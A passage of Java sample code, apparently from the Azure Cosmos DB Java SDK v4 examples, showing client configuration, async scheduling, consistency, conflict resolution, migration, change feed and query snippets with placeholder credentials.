client.close();
logger.info("Done with sample.");
}
}
<|start_filename|>src/main/java/com/azure/cosmos/examples/common/UserSession.java<|end_filename|>
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
package com.azure.cosmos.examples.common;
public class UserSession {
private String id;
private String tenantId;
private String userId;
private String sessionId;
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getTenantId(){return this.tenantId;}
public void setTenantId(String tenantId){this.tenantId = tenantId;}
public String getUserId(){return this.userId;}
public void setUserId(String userId){this.userId = userId;}
public String getSessionId(){return this.sessionId;}
public void setSessionId(String sessionId){this.sessionId = sessionId;}
}
<|start_filename|>src/main/java/com/azure/cosmos/examples/common/UserSessionData.java<|end_filename|>
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
package com.azure.cosmos.examples.common;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.UUID;
public class UserSessionData {
public static final List<String> TenantList = Arrays.asList(new String[]{"Microsoft", "<NAME>", "Oracle"});
public static List<UserSession> buildSampleSessionData()
{
List<UserSession> userSessionList = new ArrayList<UserSession>();
for (int i = 0; i < 20; i++) {
for(int j=0;j < 10;j++) {
UserSession temp = new UserSession();
temp.setTenantId(TenantList.get(i % 3));
temp.setUserId(String.valueOf(i));
temp.setSessionId(String.valueOf((i + 1) * 100 + j));
temp.setId(UUID.randomUUID().toString());
userSessionList.add(temp);
}
}
return userSessionList;
}
}
<|start_filename|>src/main/java/com/azure/cosmos/examples/documentationsnippets/async/SampleDocumentationSnippetsAsync.java<|end_filename|>
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
package com.azure.cosmos.examples.documentationsnippets.async;
import com.azure.core.http.ProxyOptions;
import com.azure.cosmos.ChangeFeedProcessor;
import com.azure.cosmos.ChangeFeedProcessorBuilder;
import com.azure.cosmos.ConsistencyLevel;
import com.azure.cosmos.CosmosAsyncClient;
import com.azure.cosmos.CosmosAsyncContainer;
import com.azure.cosmos.CosmosAsyncDatabase;
import com.azure.cosmos.CosmosClientBuilder;
import com.azure.cosmos.DirectConnectionConfig;
import com.azure.cosmos.GatewayConnectionConfig;
import com.azure.cosmos.examples.common.CustomPOJO;
import com.azure.cosmos.examples.common.Families;
import com.azure.cosmos.examples.common.Family;
import com.azure.cosmos.models.ConflictResolutionPolicy;
import com.azure.cosmos.models.CosmosContainerProperties;
import com.azure.cosmos.models.CosmosItemRequestOptions;
import com.azure.cosmos.models.CosmosItemResponse;
import com.azure.cosmos.models.CosmosStoredProcedureProperties;
import com.azure.cosmos.models.CosmosStoredProcedureRequestOptions;
import com.azure.cosmos.models.ExcludedPath;
import com.azure.cosmos.models.IncludedPath;
import com.azure.cosmos.models.IndexingMode;
import com.azure.cosmos.models.IndexingPolicy;
import com.azure.cosmos.models.PartitionKey;
import com.azure.cosmos.models.ThroughputProperties;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import reactor.core.publisher.Flux;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Scheduler;
import reactor.core.scheduler.Schedulers;
import java.net.InetSocketAddress;
import java.time.Duration;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicInteger;
public class SampleDocumentationSnippetsAsync {
private CosmosAsyncClient client;
private CosmosAsyncDatabase database;
private CosmosAsyncContainer container;
protected static Logger logger = LoggerFactory.getLogger(SampleDocumentationSnippetsAsync.class);
/**
* This file organizes Azure Docs Azure Cosmos DB async code snippets to enable easily upgrading to new Maven artifacts.
* Usage: upgrade pom.xml to the latest Java SDK Maven artifact; rebuild this project; correct any public surface changes.
* <p>
* -
*/
// <Main>
public static void main(String[] args) {
// Do nothing. This file is meant to be built but not executed.
}
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/performance-tips-java-sdk-v4-sql
* Performance tips - async Connection Mode
*/
/** Performance tips - async Connection Mode */
public static void PerformanceTipsJavaSDKv4ConnectionModeAsync() {
String HOSTNAME = "";
String MASTERKEY = "";
ConsistencyLevel CONSISTENCY = ConsistencyLevel.EVENTUAL; //Arbitrary
// <PerformanceClientConnectionModeAsync>
/* Direct mode, default settings */
CosmosAsyncClient clientDirectDefault = new CosmosClientBuilder()
.endpoint(HOSTNAME)
.key(MASTERKEY)
.consistencyLevel(CONSISTENCY)
.directMode()
.buildAsyncClient();
/* Direct mode, custom settings */
DirectConnectionConfig directConnectionConfig = DirectConnectionConfig.getDefaultConfig();
// Example config, do not use these settings as defaults
directConnectionConfig.setMaxConnectionsPerEndpoint(120);
directConnectionConfig.setIdleConnectionTimeout(Duration.ofMillis(100));
CosmosAsyncClient clientDirectCustom = new CosmosClientBuilder()
.endpoint(HOSTNAME)
.key(MASTERKEY)
.consistencyLevel(CONSISTENCY)
.directMode(directConnectionConfig)
.buildAsyncClient();
/* Gateway mode, default settings */
CosmosAsyncClient clientGatewayDefault = new CosmosClientBuilder()
.endpoint(HOSTNAME)
.key(MASTERKEY)
.consistencyLevel(CONSISTENCY)
.gatewayMode()
.buildAsyncClient();
/* Gateway mode, custom settings */
GatewayConnectionConfig gatewayConnectionConfig = GatewayConnectionConfig.getDefaultConfig();
// Example config, do not use these settings as defaults
gatewayConnectionConfig.setProxy(new ProxyOptions(ProxyOptions.Type.HTTP, InetSocketAddress.createUnresolved("your.proxy.addr",80)));
gatewayConnectionConfig.setMaxConnectionPoolSize(150);
CosmosAsyncClient clientGatewayCustom = new CosmosClientBuilder()
.endpoint(HOSTNAME)
.key(MASTERKEY)
.consistencyLevel(CONSISTENCY)
.gatewayMode(gatewayConnectionConfig)
.buildAsyncClient();
/* No connection mode, defaults to Direct mode with default settings */
CosmosAsyncClient clientDefault = new CosmosClientBuilder()
.endpoint(HOSTNAME)
.key(MASTERKEY)
.consistencyLevel(CONSISTENCY)
.buildAsyncClient();
// </PerformanceClientConnectionModeAsync>
}
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/performance-tips-java-sdk-v4-sql
* Performance tips - Direct data plane, Gateway control plane
*/
/** Performance tips - Direct data plane, Gateway control plane */
public static void PerformanceTipsJavaSDKv4CDirectOverrideAsync() {
String HOSTNAME = "";
String MASTERKEY = "";
ConsistencyLevel CONSISTENCY = ConsistencyLevel.EVENTUAL; //Arbitrary
// <PerformanceClientDirectOverrideAsync>
/* Independent customization of Direct mode data plane and Gateway mode control plane */
DirectConnectionConfig directConnectionConfig = DirectConnectionConfig.getDefaultConfig();
// Example config, do not use these settings as defaults
directConnectionConfig.setMaxConnectionsPerEndpoint(120);
directConnectionConfig.setIdleConnectionTimeout(Duration.ofMillis(100));
GatewayConnectionConfig gatewayConnectionConfig = GatewayConnectionConfig.getDefaultConfig();
// Example config, do not use these settings as defaults
gatewayConnectionConfig.setProxy(new ProxyOptions(ProxyOptions.Type.HTTP, InetSocketAddress.createUnresolved("your.proxy.addr",80)));
gatewayConnectionConfig.setMaxConnectionPoolSize(150);
CosmosAsyncClient clientDirectCustom = new CosmosClientBuilder()
.endpoint(HOSTNAME)
.key(MASTERKEY)
.consistencyLevel(CONSISTENCY)
.directMode(directConnectionConfig,gatewayConnectionConfig)
.buildAsyncClient();
// </PerformanceClientDirectOverrideAsync>
}
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/performance-tips-java-sdk-v4-sql
* Performance tips - needs scheduler
*/
/** Performance tips - needs scheduler */
public static void PerformanceTipsJavaSDKv4ClientAsync() {
String HOSTNAME = "";
String MASTERKEY = "";
ConsistencyLevel CONSISTENCY = ConsistencyLevel.EVENTUAL; //Arbitrary
// <PerformanceClientAsync>
CosmosAsyncClient client = new CosmosClientBuilder()
.endpoint(HOSTNAME)
.key(MASTERKEY)
.consistencyLevel(CONSISTENCY)
.buildAsyncClient();
// </PerformanceClientAsync>
}
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/performance-tips-java-sdk-v4-sql
* Performance tips - needs scheduler
* Async only
*/
/** Performance tips - needs scheduler */
public static void PerformanceTipsJavaSDKv4NeedsSchedulerAsync() {
CosmosAsyncContainer asyncContainer = null;
CustomPOJO item = null;
// <PerformanceNeedsSchedulerAsync>
Mono<CosmosItemResponse<CustomPOJO>> createItemPub = asyncContainer.createItem(item);
createItemPub.subscribe(
itemResponse -> {
//this is executed on eventloop IO netty thread.
//the eventloop thread is shared and is meant to return back quickly.
//
// DON'T do this on eventloop IO netty thread.
veryCpuIntensiveWork();
});
// </PerformanceNeedsSchedulerAsync>
}
/** ^Dummy helper function for the above snippet */
public static void veryCpuIntensiveWork() {
//Dummy
}
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/performance-tips-java-sdk-v4-sql
* Performance tips - add scheduler
* Async only
*/
/** Performance tips - add scheduler */
public static void PerformanceTipsJavaSDKv4AddSchedulerSync() {
CosmosAsyncContainer asyncContainer = null;
CustomPOJO item = null;
// <PerformanceAddSchedulerAsync>
Mono<CosmosItemResponse<CustomPOJO>> createItemPub = asyncContainer.createItem(item);
createItemPub
.subscribeOn(Schedulers.elastic())
.subscribe(
itemResponse -> {
//this is executed on eventloop IO netty thread.
//the eventloop thread is shared and is meant to return back quickly.
//
// DON'T do this on eventloop IO netty thread.
veryCpuIntensiveWork();
});
// </PerformanceAddSchedulerAsync>
}
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/performance-tips-java-sdk-v4-sql
* Performance tips - not specifying partition key in point-writes
*/
/** Performance tips - not specifying partition key in point-writes */
public static void PerformanceTipsJavaSDKv4NoPKSpecAsync() {
CosmosAsyncContainer asyncContainer = null;
CustomPOJO item = null;
String pk = "pk_value";
// <PerformanceNoPKAsync>
asyncContainer.createItem(item,new PartitionKey(pk),new CosmosItemRequestOptions()).block();
// </PerformanceNoPKAsync>
}
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/performance-tips-java-sdk-v4-sql
* Performance tips - add partition key in point-writes
*/
/** Performance tips - add partition key in point-writes */
public static void PerformanceTipsJavaSDKv4AddPKSpecAsync() {
CosmosAsyncContainer asyncContainer = null;
CustomPOJO item = null;
// <PerformanceAddPKAsync>
asyncContainer.createItem(item).block();
// </PerformanceAddPKAsync>
}
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/performance-tips-java-sdk-v4-sql
* Performance tips - get request charge
*/
/** Performance tips - get request charge */
public static void PerformanceTipsJavaSDKv4RequestChargeSpecAsync() {
CosmosAsyncContainer asyncContainer = null;
CustomPOJO item = null;
String pk = "pk_value";
// <PerformanceRequestChargeAsync>
CosmosItemResponse<CustomPOJO> response = asyncContainer.createItem(item).block();
response.getRequestCharge();
// </PerformanceRequestChargeAsync>
}
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/troubleshoot-java-sdk-v4-sql
* Troubleshooting guide - needs scheduler
* Async only
*/
/** Troubleshooting guide - needs scheduler */
public static void TroubleshootingGuideJavaSDKv4NeedsSchedulerAsync() {
CosmosAsyncContainer container = null;
CustomPOJO item = null;
// <TroubleshootNeedsSchedulerAsync>
//Bad code with read timeout exception
int requestTimeoutInSeconds = 10;
/* ... */
AtomicInteger failureCount = new AtomicInteger();
// Max number of concurrent item inserts is # CPU cores + 1
Flux<Family> familyPub =
Flux.just(Families.getAndersenFamilyItem(), Families.getAndersenFamilyItem(), Families.getJohnsonFamilyItem());
familyPub.flatMap(family -> {
return container.createItem(family);
}).flatMap(r -> {
try {
// Time-consuming work is, for example,
// writing to a file, computationally heavy work, or just sleep.
// Basically, it's anything that takes more than a few milliseconds.
// Doing such operations on the IO Netty thread
// without a proper scheduler will cause problems.
// The subscriber will get a ReadTimeoutException failure.
TimeUnit.SECONDS.sleep(2 * requestTimeoutInSeconds);
} catch (Exception e) {
}
return Mono.empty();
}).doOnError(Exception.class, exception -> {
failureCount.incrementAndGet();
}).blockLast();
assert(failureCount.get() > 0);
// </TroubleshootNeedsSchedulerAsync>
}
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/troubleshoot-java-sdk-v4-sql
* Troubleshooting guide - custom scheduler
* Async only
*/
/** Troubleshooting guide - custom scheduler */
public static void TroubleshootingGuideJavaSDKv4CustomSchedulerAsync() {
CosmosAsyncContainer container = null;
CustomPOJO item = null;
// <TroubleshootCustomSchedulerAsync>
// Have a singleton instance of an executor and a scheduler.
ExecutorService ex = Executors.newFixedThreadPool(30);
Scheduler customScheduler = Schedulers.fromExecutor(ex);
// </TroubleshootCustomSchedulerAsync>
}
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/troubleshoot-java-sdk-v4-sql
* Troubleshooting guide - publish on scheduler
* Async only
*/
/** Troubleshooting guide - publish on scheduler */
public static void TroubleshootingGuideJavaSDKv4PublishOnSchedulerAsync() {
CosmosAsyncContainer container = null;
Scheduler customScheduler = null;
Family family = null;
// <TroubleshootPublishOnSchedulerAsync>
container.createItem(family)
.publishOn(customScheduler) // Switches the thread.
.subscribe(
// ...
);
// </TroubleshootPublishOnSchedulerAsync>
}
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/tutorial-global-distribution-sql-api
* Tutorial: Set up Azure Cosmos DB global distribution using the SQL API
*/
/** Preferred locations */
public static void TutorialSetUpAzureCosmosDBGlobalDistributionUsingTheSqlApiPreferredLocationsAsync() {
String MASTER_KEY = "";
String HOST = "";
// <TutorialGlobalDistributionPreferredLocationAsync>
ArrayList<String> preferredRegions = new ArrayList<String>();
preferredRegions.add("East US");
preferredRegions.add( "West US");
preferredRegions.add("Canada Central");
CosmosAsyncClient client =
new CosmosClientBuilder()
.endpoint(HOST)
.key(MASTER_KEY)
.preferredRegions(preferredRegions)
.contentResponseOnWriteEnabled(true)
.buildAsyncClient();
// </TutorialGlobalDistributionPreferredLocationAsync>
}
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/how-to-multi-master
* Multi-master tutorial
*/
/** Enable multi-master from client */
public static void ConfigureMultimasterInYourApplicationsThatUseComosDBAsync() {
String MASTER_KEY = "";
String HOST = "";
String region = "West US 2";
// <ConfigureMultimasterAsync>
ArrayList<String> preferredRegions = new ArrayList<String>();
preferredRegions.add(region);
CosmosAsyncClient client =
new CosmosClientBuilder()
.endpoint(HOST)
.key(MASTER_KEY)
.multipleWriteRegionsEnabled(true)
.preferredRegions(preferredRegions)
.buildAsyncClient();
// </ConfigureMultimasterAsync>
}
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/how-to-manage-consistency
* Manage consistency
*/
/** Managed consistency from client */
public static void ManageConsistencyLevelsInAzureCosmosDBAsync() {
String MASTER_KEY = "";
String HOST = "";
// <ManageConsistencyAsync>
CosmosAsyncClient client =
new CosmosClientBuilder()
.endpoint(HOST)
.key(MASTER_KEY)
.consistencyLevel(ConsistencyLevel.EVENTUAL)
.buildAsyncClient();
// </ManageConsistencyAsync>
}
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/how-to-manage-consistency
* Utilize session tokens
*/
/** Session token */
public static void ManageConsistencyLevelsInAzureCosmosDBSessionTokenAsync() {
String itemId = "Henderson";
String partitionKey = "4A3B-6Y78";
CosmosAsyncContainer container = null;
// <ManageConsistencySessionAsync>
// Get session token from response
CosmosItemResponse<JsonNode> response = container.readItem(itemId, new PartitionKey(partitionKey), JsonNode.class).block();
String sessionToken = response.getSessionToken();
// Resume the session by setting the session token on the RequestOptions
CosmosItemRequestOptions options = new CosmosItemRequestOptions();
options.setSessionToken(sessionToken);
CosmosItemResponse<JsonNode> response2 = container.readItem(itemId, new PartitionKey(partitionKey), JsonNode.class).block();
// </ManageConsistencySessionAsync>
}
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/how-to-manage-conflicts
* Resolve conflicts, LWW policy
*/
/** Client-side conflict resolution settings for LWW policy */
public static void ManageConflictResolutionPoliciesInAzureCosmosDBLWWAsync() {
String container_id = "family_container";
String partition_key = "/pk";
CosmosAsyncDatabase database = null;
// <ManageConflictResolutionLWWAsync>
ConflictResolutionPolicy policy = ConflictResolutionPolicy.createLastWriterWinsPolicy("/myCustomId");
CosmosContainerProperties containerProperties = new CosmosContainerProperties(container_id, partition_key);
containerProperties.setConflictResolutionPolicy(policy);
/* ...other container config... */
database.createContainerIfNotExists(containerProperties).block();
// </ManageConflictResolutionLWWAsync>
}
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/how-to-manage-conflicts
* Resolve conflicts, stored procedure
*/
/** Client-side conflict resolution using stored procedure */
public static void ManageConflictResolutionPoliciesInAzureCosmosDBSprocAsync() {
String container_id = "family_container";
String partition_key = "/pk";
CosmosAsyncDatabase database = null;
// <ManageConflictResolutionSprocAsync>
ConflictResolutionPolicy policy = ConflictResolutionPolicy.createCustomPolicy("resolver");
CosmosContainerProperties containerProperties = new CosmosContainerProperties(container_id, partition_key);
containerProperties.setConflictResolutionPolicy(policy);
/* ...other container config... */
database.createContainerIfNotExists(containerProperties).block();
// </ManageConflictResolutionSprocAsync>
}
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/how-to-manage-conflicts
* Resolve conflicts, stored procedure
*/
/** Client-side conflict resolution with fully custom policy */
public static void ManageConflictResolutionPoliciesInAzureCosmosDBCustomAsync() {
String container_id = "family_container";
String partition_key = "/pk";
CosmosAsyncDatabase database = null;
// <ManageConflictResolutionCustomAsync>
ConflictResolutionPolicy policy = ConflictResolutionPolicy.createCustomPolicy();
CosmosContainerProperties containerProperties = new CosmosContainerProperties(container_id, partition_key);
containerProperties.setConflictResolutionPolicy(policy);
/* ...other container config... */
database.createContainerIfNotExists(containerProperties).block();
// </ManageConflictResolutionCustomAsync>
}
private static CosmosAsyncDatabase testDatabaseAsync = null;
private static CosmosAsyncContainer testContainerAsync = null;
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/migrate-java-v4-sdk
* Migrate previous versions to Java SDK v4
*/
/** Migrate previous versions to Java SDK v4 */
public static void MigrateJavaSDKv4ResourceAsync() {
String container_id = "family_container";
String partition_key = "/pk";
CosmosAsyncDatabase database = null;
// <MigrateJavaSDKv4ResourceAsync>
// Create Async client.
// Building an async client is still a sync operation.
CosmosAsyncClient client = new CosmosClientBuilder()
.endpoint("your.hostname")
.key("yourmasterkey")
.consistencyLevel(ConsistencyLevel.EVENTUAL)
.buildAsyncClient();
// Create database with specified name
client.createDatabaseIfNotExists("YourDatabaseName")
.flatMap(databaseResponse -> {
testDatabaseAsync = client.getDatabase("YourDatabaseName");
// Container properties - name and partition key
CosmosContainerProperties containerProperties =
new CosmosContainerProperties("YourContainerName", "/id");
// Provision manual throughput
ThroughputProperties throughputProperties = ThroughputProperties.createManualThroughput(400);
// Create container
return database.createContainerIfNotExists(containerProperties, throughputProperties);
}).flatMap(containerResponse -> {
testContainerAsync = database.getContainer("YourContainerName");
return Mono.empty();
}).subscribe();
// </MigrateJavaSDKv4ResourceAsync>
}
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/migrate-java-v4-sdk
* Item operations
*/
/** Item operations */
public static void MigrateJavaSDKv4ItemOperationsAsync() {
String container_id = "family_container";
String partition_key = "/pk";
CosmosAsyncDatabase database = null;
// <MigrateItemOpsAsync>
// Container is created. Generate many docs to insert.
int number_of_docs = 50000;
ArrayList<JsonNode> docs = generateManyDocs(number_of_docs);
// Insert many docs into container...
Flux.fromIterable(docs)
.flatMap(doc -> testContainerAsync.createItem(doc))
.subscribe(); // ...Subscribing triggers stream execution.
// </MigrateItemOpsAsync>
}
/** ^Helper function for the above code snippet */
private static ArrayList<JsonNode> generateManyDocs(int number_of_docs) {
//Dummy
return null;
}
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/migrate-java-v4-sdk
* Indexing
*/
/** Indexing */
public static void MigrateJavaSDKv4IndexingAsync() {
String containerName = "family_container";
String partition_key = "/pk";
CosmosAsyncDatabase database = null;
// <MigrateIndexingAsync>
CosmosContainerProperties containerProperties = new CosmosContainerProperties(containerName, "/lastName");
// Custom indexing policy
IndexingPolicy indexingPolicy = new IndexingPolicy();
indexingPolicy.setIndexingMode(IndexingMode.CONSISTENT);
// Included paths
List<IncludedPath> includedPaths = new ArrayList<>();
includedPaths.add(new IncludedPath("/*"));
indexingPolicy.setIncludedPaths(includedPaths);
// Excluded paths
List<ExcludedPath> excludedPaths = new ArrayList<>();
excludedPaths.add(new ExcludedPath("/name/*"));
indexingPolicy.setExcludedPaths(excludedPaths);
containerProperties.setIndexingPolicy(indexingPolicy);
ThroughputProperties throughputProperties = ThroughputProperties.createManualThroughput(400);
database.createContainerIfNotExists(containerProperties, throughputProperties);
CosmosAsyncContainer containerIfNotExists = database.getContainer(containerName);
// </MigrateIndexingAsync>
}
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/migrate-java-v4-sdk
* Stored procedure
*/
/** Stored procedure */
public static void MigrateJavaSDKv4SprocAsync() {
String containerName = "family_container";
String partition_key = "/pk";
CosmosAsyncContainer container = null;
// <MigrateSprocAsync>
logger.info("Creating stored procedure...\n");
String sprocId = "createMyDocument";
String sprocBody = "function createMyDocument() {\n" +
"var documentToCreate = {\"id\":\"test_doc\"}\n" +
"var context = getContext();\n" +
"var collection = context.getCollection();\n" +
"var accepted = collection.createDocument(collection.getSelfLink(), documentToCreate,\n" +
" function (err, documentCreated) {\n" +
"if (err) throw new Error('Error' + err.message);\n" +
"context.getResponse().setBody(documentCreated.id)\n" +
"});\n" +
"if (!accepted) return;\n" +
"}";
CosmosStoredProcedureProperties storedProcedureDef = new CosmosStoredProcedureProperties(sprocId, sprocBody);
container.getScripts()
.createStoredProcedure(storedProcedureDef,
new CosmosStoredProcedureRequestOptions()).block();
// ...
logger.info(String.format("Executing stored procedure %s...\n\n", sprocId));
CosmosStoredProcedureRequestOptions options = new CosmosStoredProcedureRequestOptions();
options.setPartitionKey(new PartitionKey("test_doc"));
container.getScripts()
.getStoredProcedure(sprocId)
.execute(null, options)
.flatMap(executeResponse -> {
logger.info(String.format("Stored procedure %s returned %s (HTTP %d), at cost %.3f RU.\n",
sprocId,
executeResponse.getResponseAsString(),
executeResponse.getStatusCode(),
executeResponse.getRequestCharge()));
return Mono.empty();
}).block();
// </MigrateSprocAsync>
}
private static ObjectMapper OBJECT_MAPPER = null;
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/migrate-java-v4-sdk
* Change Feed
*/
/** Change Feed */
public static void MigrateJavaSDKv4CFAsync() {
String hostName = "hostname";
String partition_key = "/pk";
CosmosAsyncContainer feedContainer = null;
CosmosAsyncContainer leaseContainer = null;
// <MigrateCFAsync>
ChangeFeedProcessor changeFeedProcessorInstance =
new ChangeFeedProcessorBuilder()
.hostName(hostName)
.feedContainer(feedContainer)
.leaseContainer(leaseContainer)
.handleChanges((List<JsonNode> docs) -> {
logger.info("--->setHandleChanges() START");
for (JsonNode document : docs) {
try {
//Change Feed hands the document to you in the form of a JsonNode
//As a developer you have two options for handling the JsonNode document provided to you by Change Feed
//One option is to operate on the document in the form of a JsonNode, as shown below. This is great
//especially if you do not have a single uniform data model for all documents.
logger.info("---->DOCUMENT RECEIVED: " + OBJECT_MAPPER.writerWithDefaultPrettyPrinter()
.writeValueAsString(document));
//You can also transform the JsonNode to a POJO having the same structure as the JsonNode,
//as shown below. Then you can operate on the POJO.
CustomPOJO pojo_doc = OBJECT_MAPPER.treeToValue(document, CustomPOJO.class);
logger.info("----=>id: " + pojo_doc.getId());
} catch (JsonProcessingException e) {
e.printStackTrace();
}
}
logger.info("--->handleChanges() END");
})
.buildChangeFeedProcessor();
// ...
changeFeedProcessorInstance.start()
.subscribeOn(Schedulers.elastic())
.subscribe();
// </MigrateCFAsync>
}
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/migrate-java-v4-sdk
* Container TTL
*/
/** Container TTL */
public static void MigrateJavaSDKv4ContainerTTLAsync() {
String hostName = "hostname";
String partition_key = "/pk";
CosmosAsyncDatabase database = null;
// <MigrateContainerTTLAsync>
CosmosAsyncContainer container;
// Create a new container with TTL enabled with default expiration value
CosmosContainerProperties containerProperties = new CosmosContainerProperties("myContainer", "/myPartitionKey");
containerProperties.setDefaultTimeToLiveInSeconds(90 * 60 * 60 * 24);
ThroughputProperties throughputProperties = ThroughputProperties.createManualThroughput(400);
database.createContainerIfNotExists(containerProperties, throughputProperties).block();
container = database.getContainer("myContainer");
// </MigrateContainerTTLAsync>
}
/**
* https://docs.microsoft.com/en-us/azure/cosmos-db/migrate-java-v4-sdk
* Item TTL
*/
/** Item TTL */
public static void MigrateJavaSDKv4ItemTTLAsync() {
String hostName = "hostname";
String partition_key = "/pk";
CosmosAsyncDatabase database = null;
// <MigrateItemTTLAsync>
// Set the value to the expiration in seconds
SalesOrder salesOrder = new SalesOrder(
"SO05",
"CO18009186470",
60 * 60 * 24 * 30 // Expire sales orders in 30 days
);
// </MigrateItemTTLAsync>
}
}
// <MigrateItemTTLClassAsync>
// Include a property that serializes to "ttl" in JSON
class SalesOrder
{
private String id;
private String customerId;
private Integer ttl;
public SalesOrder(String id, String customerId, Integer ttl) {
this.id = id;
this.customerId = customerId;
this.ttl = ttl;
}
public String getId() {return this.id;}
public void setId(String new_id) {this.id = new_id;}
public String getCustomerId() {return this.customerId;}
public void setCustomerId(String new_cid) {this.customerId = new_cid;}
public Integer getTtl() {return this.ttl;}
public void setTtl(Integer new_ttl) {this.ttl = new_ttl;}
//...
}
// </MigrateItemTTLClassAsync>
<|start_filename|>src/main/java/com/azure/cosmos/examples/queries/sync/QueriesQuickstart.java<|end_filename|>
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
package com.azure.cosmos.examples.queries.sync;
import com.azure.cosmos.ConsistencyLevel;
import com.azure.cosmos.CosmosClient;
import com.azure.cosmos.CosmosClientBuilder;
import com.azure.cosmos.CosmosContainer;
import com.azure.cosmos.CosmosDatabase;
import com.azure.cosmos.examples.common.AccountSettings;
import com.azure.cosmos.examples.common.Family;
import com.azure.cosmos.models.CosmosContainerProperties;
import com.azure.cosmos.models.CosmosContainerResponse;
import com.azure.cosmos.models.CosmosDatabaseRequestOptions;
import com.azure.cosmos.models.CosmosDatabaseResponse;
import com.azure.cosmos.models.CosmosItemRequestOptions;
import com.azure.cosmos.models.CosmosQueryRequestOptions;
import com.azure.cosmos.models.FeedResponse;
import com.azure.cosmos.models.PartitionKey;
import com.azure.cosmos.models.SqlParameter;
import com.azure.cosmos.models.SqlQuerySpec;
import com.azure.cosmos.models.ThroughputProperties;
import com.azure.cosmos.util.CosmosPagedIterable;
import com.fasterxml.jackson.databind.JsonNode;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.ArrayList;
import java.util.UUID;
public class QueriesQuickstart {
private CosmosClient client;
private final String databaseName = "AzureSampleFamilyDB";
private final String containerName = "FamilyContainer";
private final String documentId = UUID.randomUUID().toString();
private final String documentLastName = "Witherspoon";
private CosmosDatabase database;
private CosmosContainer container;
protected static Logger logger = LoggerFactory.getLogger(QueriesQuickstart.class);
public void close() {
client.close();
}
/**
* Sample to demonstrate Azure Cosmos DB queries via Java SQL API, including queries for:
* -All documents
* -Equality using =
* -Inequality using != and NOT
* -Using range operators like >, <, >=, <=
* -Using range operators against Strings
* -With ORDER BY
* -With aggregate functions
* -With subdocuments
* -With intra-document joins
* -With String, math and array operators
* -With parameterized SQL using SqlQuerySpec
* -With explicit paging
* -Query partitioned collections in parallel
* -With ORDER BY for partitioned collections
*/
public static void main(String[] args) {
QueriesQuickstart p = new QueriesQuickstart();
try {
logger.info("Starting SYNC main");
p.queriesDemo();
logger.info("Demo complete, please hold while resources are released");
} catch (Exception e) {
e.printStackTrace();
logger.error(String.format("Cosmos getStarted failed with %s", e));
} finally {
logger.info("Closing the client");
p.shutdown();
}
}
private void queriesDemo() throws Exception {
logger.info("Using Azure Cosmos DB endpoint: " + AccountSettings.HOST);
// Create sync client
client = new CosmosClientBuilder()
.endpoint(AccountSettings.HOST)
.key(AccountSettings.MASTER_KEY)
.consistencyLevel(ConsistencyLevel.EVENTUAL)
.contentResponseOnWriteEnabled(true)
.buildClient();
createDatabaseIfNotExists();
createContainerIfNotExists();
createDocument();
queryAllDocuments();
queryWithPagingAndContinuationTokenAndPrintQueryCharge(new CosmosQueryRequestOptions());
queryEquality();
queryInequality();
queryRange();
queryRangeAgainstStrings();
queryOrderBy();
queryWithAggregateFunctions();
querySubdocuments();
queryIntraDocumentJoin();
queryStringMathAndArrayOperators();
queryWithQuerySpec();
parallelQueryWithPagingAndContinuationTokenAndPrintQueryCharge();
// deleteDocument() is called at shutdown()
}
private void executeQueryPrintSingleResult(String sql) {
logger.info("Execute query {}",sql);
CosmosPagedIterable<Family> filteredFamilies = container.queryItems(sql, new CosmosQueryRequestOptions(), Family.class);
// Print
if (filteredFamilies.iterator().hasNext()) {
Family family = filteredFamilies.iterator().next();
logger.info(String.format("First query result: Family with (/id, partition key) = (%s,%s)",family.getId(),family.getLastName()));
}
logger.info("Done.");
}
private void executeCountQueryPrintSingleResult(String sql) {
CosmosPagedIterable<JsonNode> filteredFamilies1 = container.queryItems(sql, new CosmosQueryRequestOptions(), JsonNode.class);
// Print
if (filteredFamilies1.iterator().hasNext()) {
JsonNode jsonnode = filteredFamilies1.iterator().next();
logger.info("Count: " + jsonnode.toString());
}
logger.info("Done.");
}
private void executeQueryWithQuerySpecPrintSingleResult(SqlQuerySpec querySpec) {
logger.info("Execute query {}",querySpec.getQueryText());
CosmosPagedIterable<Family> filteredFamilies = container.queryItems(querySpec, new CosmosQueryRequestOptions(), Family.class);
// Print
if (filteredFamilies.iterator().hasNext()) {
Family family = filteredFamilies.iterator().next();
